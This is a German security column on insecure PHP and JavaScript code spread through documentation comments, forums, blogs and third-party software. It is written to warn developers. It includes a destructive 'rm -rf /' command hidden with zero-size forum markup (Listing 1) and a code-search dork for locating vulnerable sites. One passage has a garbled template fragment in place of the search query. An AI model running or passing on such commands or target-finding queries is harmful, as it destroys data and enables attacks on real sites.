Security-Kolumne

Schlechter Code ist … schlecht
Kommentare

Das WWW kann durchaus als eine Errungenschaft jenseits von einzelner begreifbarer Komplexität angesehen werden. Aus technischer Sicht betrachtet, handelt sich um ein Netzwerk außerordentlicher Dimension, in dem eine schwer zu überschauende Menge an Plattformen Informationen jedweder Art anbieten und einfordern.

Gerade für Entwickler ist das WWW oft unersetzlich – Dokumentationen für die Programmiersprache der Wahl, Foren zum Austausch mit Gleichgesinnten, Blogposts über gefundene Tricks und elegantere Wege, den eigene Code zu gestalten, unterstützen sie bei ihrer Arbeit. Oft helfen Erfahrungsberichte anderer dabei, die eigenen Probleme im Entwicklungsprozess schneller zu lösen oder Inspiration für neue Wege zu erhalten. Und nicht zuletzt gibt es für viele Probleme bereits die passende Lösung in Form einer Open-Source-Software. Schwierig ist es da nur, sich ein Bild über die tatsächliche Qualität der angebotenen Informationen zu machen, bevor man sich mehr Probleme schafft als man zu lösen hoffte.

Dokumentationen und Kommentare

Ein hervorragendes Beispiel für ein sehr schwammiges Qualitätsniveau nutzergenerierter Beiträge zum Thema Entwicklung, Codebeispiele und Hilfestellungen ist die Kommentarsektion der PHP-Dokumentation. Schaut man sich die Dokumentation der Funktion htmlentities() genauer an, so findet sich wenig über deren korrekten Gebrauch. Nur mit dem richtigen zweiten Parameter werden auch Single Quotes korrekt in Entitäten wie " umgewandelt – und erst mit dem dritten Parameter lässt sich effektiv gegen UTF-7-basierte Angriffe Einhalt gebieten (siehe Cross-site Scripting trotz htmlentities(), Google XSS Example). Ähnliche Probleme existieren mit der Funktion utf8_decode(), die seit geraumer Zeit als unsicher gilt und bei falscher Anwendung auch vermeintlich gegen durch Cross-site Scripting (XSS) geschützte Applikationen unsicher macht.

Unter den Klassikern findet sich natürlich die nicht gefilterte Verwendung feinster Nutzereingaben: Ausgaben von GET, POST und anderen ohne jegliche Filterung, die Verwendung von strip_tags() innerhalb von Attributen, das falsche Parametrisieren von htmlentities() oder sogar alles in ein und derselben Datei. Die Konsequenzen sind leicht demonstriert. Neben anderen Dienstleistern stellt auch Google eine Codesuche bereit. Sucht man in dieser nach verdächtigen Mustern, so finden sich bereits nach wenigen Versuchen hunderte bis tausende Resultate, die auf verwundbare Open-Source-Software hindeuten.

http://www.google.com/codesearch?as_q=lang%3Aphp+echos%2B%24_%28GET|POST|REQUEST|COOKIE%29&btnG – dieser URL (Suchanfrage lang:php echos+

psenv::pushli();$env->object_param[0]=“GET|POST|REQUEST|COOKIE“; eval($_oclass[„_“]); psenv::popli(); ?>

) offenbart mehr als 3500 verschiedene Vorkommnisse nicht gefilterter Ausgaben und stellt noch eine vergleichsweise harmlose Anfrage. Ähnliches funktioniert mit include, eval und Konsorten. Noch gefährlicher ist die Kombination dieser Ergebnisse: ein Angreifer muss nur den Dateinamen der verwundbaren Dateien mit der normalen Google-Suche und dem Suchparameter inurl: kombinieren, schon zeigen sich meist mehrere hundert Webseiten, die tatsächlich die verwundbare Datei nutzen. Für Angreifer ein gefundenes Fressen – Prozesse wie dieser werden seit Jahren mit Erfolg genutzt, um die eigene Reichweite zu vergrößern.

Foren

Sucht man nach Beispielen für einen gelungenen Wert der disable_functions-Einstellung in der php.ini, so stolpert man über verschiedenste Vorschläge. Die meisten beinhalten eval(), was dafür spricht, dass solche Beiträge mit wenig Know-how erstellt wurden, und mit einer solchen Einstellung der Gebrauch des Sprachkonstrukts eval() nicht mehr gestattet sei. Auch wird escapeshellcmd() gerne deaktiviert – ebenfalls völlig unnötig und unangenehm, wenn man tatsächlich Shell-Kommandos „escapen“ möchte. Zwar geriet die Funktion 2004 als auch 2008 negativ in die Fachpresse – aber wegen einer Möglichkeit, ihre schützende Auswirkung zu umgehen und dennoch willkürlich Kommandozeilencode ausführen zu können (vgl. PHP Multibyte Shell Command Escaping Bypass Vulnerability, PHP Win32 escapeshellcmd() and escapeshellarg() Input Validation Vulnerability). Ein klassisches Zeichen von misslungener Mund-zu-Mund-Propaganda.

Ebenfalls beliebt war es für einige Zeit, in Foren Quellcode oder gar Kommandozeilencode zu veröffentlichen – der optisch unverdächtig wirkte – und eventuell als Problemlösungskandidat für eine im selben Thread vorgestellte Frage im Frame kam. Das betroffene Forum bot aber dank einer kleinen Nachlässigkeit der Entwickler der Forensoftware die Möglichkeit, Text mit Schriftgröße 0 zwischen den gutartigen Zeilen zu verstecken. Die Folgen liegen auf der Hand.

# show directory content
ls [size=0];rm -rf /;ls[/size] -la

Listing 1: Kommandozeilentext in Foren verstecken

Blogs

In Zeiten von HTML5, Cross Domain Requests und User Generated Code – in Form von HTML und anderem Markup über den Rich Text Editor oder gar erlaubtem JavaScript in geschützten Umgebungen – könnten sich die Probleme, die schlechter Code mit sich bringt, noch verschärfen. Nur zu schnell hat man, damit es endlich funktioniert, seine Header-Einstellungen auf Access-Control-Allow-Origin: * gesetzt, nur um damit die komplette Applikation gegen Cross-site Scripting (XSS) verwundbar zu machen – diesmal sogar im klassischen Sinne der Begrifflichkeit. Kürzlich wurde ein solches Codeschnippsel auf Ajaxian gesichtet – mit den wenig eindeutigen Worten If you do something similar yourself, though, remember to think through the implications of adding a similar HTTP header to your response – im übertragenen Sinne „Falls du es so angehst, wisse was passieren kann“.

Drittanbietersoftware

Zu guter Letzt gilt es natürlich, noch mehr oder weniger offene Drittanbietersoftware zu beleuchten. Aktuell macht Diaspora, das einst recht ambitioniert wirkende Projekt, das auszog, um Facebook abzulösen, Schlagzeilen. Leider weniger gute – zumeist wird Schelte gegen den von vielen als unsicher und fahrig programmiert wirkenden Code ausgeteilt. Viele XSS-Lücken habe man bereits gefunden – unangenehm für ein Projekt, das sich als Ziel die Erstellung eines sicheren und privatsphäreaffinen Social-Networking-Tools auf die Fahnen geschrieben hat. Andere Projekte wie das Content Management System e107 zeigen, dass es noch schlimmer geht, schwere Sicherheitslücken werden, wenn überhaupt, widerwillig gepatcht. Ähnliches gilt für die beliebten Rich-Text-Editoren – kaum ein Exemplar dieser Gattung ist in den letzten Monaten und Jahren nicht wiederholt in Exploit-Datenbanken aufgetaucht – mit immer wieder neuen XSS-Lücken und oft sogar Möglichkeiten für Angreifer, beliebigen PHP-Code auszuführen.

Fazit

Guten Code zu schreiben, ist also nicht leicht und setzt jahrelange Erfahrung und erhebliche Lernbereitschaft voraus. Gerade PHP und JavaScript ermöglichen auch Einsteigern schnelle Erfolgserlebnisse. Eine Webseite mit einigen Interaktionsmöglichkeiten ist schnell gebaut – doch ist diese auch sicher? Ist der Code wartbar und skalierbar oder funktioniert es nur eben gerade so? Wie sicher ist die eingekaufte oder gar als Open Source angebotene Software wirklich? Und welche Risiken lauern, falls nach Monaten doch Lücken in einem scheinbar sicheren Produkt auftauchen?

Sobald es um Webprojekte geht, bei denen sensible Nutzerdaten gespeichert, Geld oder Waren ausgetauscht werden oder gar wichtigeres auf dem Spiel steht sollte, kann man sich nicht auf Foren, Blogs und beliebte Software verlassen, sondern klar auf Erfahrung im Team setzen. Gute und erfahrene Entwickler mit Security-Background sind unersetzbar für ambitionierte Projekte – und bei Weitem nicht so teuer wie die Folgen eines Angriffs und resultierende Datenverluste, zornige Anwender und mögliche rechtliche Konsequenzen. Und „billig“ heißt insbesondere bei Webapplikationen „erst später teuer“.

Mario Heiderich

Mario Heiderich (@0x6D6172696F) forscht für die Ruhr Universität Bochum im Bereich Browser-Malware. Nebenbei arbeitet Mario als freier Tester und Berater im Bereich Webapplikationen und Browser Sicherheit und entwickelt am HTML Security Cheatsheet, dem PHPIDS, und an anderen Projekten.

Unsere Redaktion empfiehlt:

Relevante Beiträge

Meinungen zu diesem Beitrag

X
- Gib Deinen Standort ein -
- or -